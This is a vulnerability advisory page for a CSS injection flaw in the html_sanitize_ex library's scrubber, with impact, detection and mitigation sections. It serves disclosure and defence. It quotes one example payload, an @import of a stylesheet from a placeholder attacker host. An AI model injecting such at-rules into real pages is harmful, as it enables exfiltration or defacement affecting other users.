CVE-2026-68747
Received Received - Intake

CSS Injection in html_sanitize_ex

Publication date: 2026-08-06

Last updated on: 2026-08-06

Assigner: EEF

Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-08-06
Last Modified
2026-08-06
Generated
2026-08-06
AI Q&A
2026-08-06
EPSS Evaluated
N/A
NVD
CVE-2026-68747
EUVD
EUVD-2026-54083

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
rrrene html_sanitize_ex From 0.3.1 (inc) to 1.5.4 (exc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-74 The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

This vulnerability is an improper neutralization of special elements in output, allowing an unauthenticated remote attacker to inject CSS at-rules like @import into a page served to other users. The CSS scrubber in html_sanitize_ex only inspects property-value declarations, leaving other input unchanged. For example, an @import rule bypasses sanitization while the same URL in a background declaration is removed.

Detection Guidance

Check if your system uses html_sanitize_ex versions between 0.3.1 and 1.5.4. Inspect CSS sanitization logic for @import handling. Look for unexpected CSS rules in output. Review logs for style element processing.

Impact Analysis

An attacker could inject malicious CSS that imports external stylesheets from untrusted sources. This could lead to data exfiltration, defacement, or phishing attacks if the injected stylesheet contains harmful content. However, script execution is prevented as injected content does not escape the <style> element.

Mitigation Strategies

Upgrade html_sanitize_ex to version 1.5.4 or later. Disable <style> elements in sanitizers if possible. Implement Content-Security-Policy to block external stylesheet imports. Use basic_html/1 or strip_tags/1 as alternatives.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-68747. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart